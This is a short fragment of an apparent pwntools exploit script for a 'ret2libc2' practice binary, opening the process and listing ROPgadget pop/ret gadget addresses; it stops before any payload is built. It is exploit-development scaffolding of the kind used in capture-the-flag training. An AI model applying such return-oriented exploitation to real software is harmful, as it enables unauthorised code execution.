p = process("./ret2libc2") elf = ELF("./ret2libc2") """ ROPgadget --binary ./ret2libc2 --only "pop|ret" Gadgets information ============================================================ 0x0804861b : pop ebp ; ret 0x08048618 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0804839d : pop ebx ; ret 0x0804861a : pop edi ; pop ebp ; ret 0x08048619 : pop esi ; pop edi ; pop ebp ; ret 0x08048386 : ret 0x0804848e : ret 0xeac1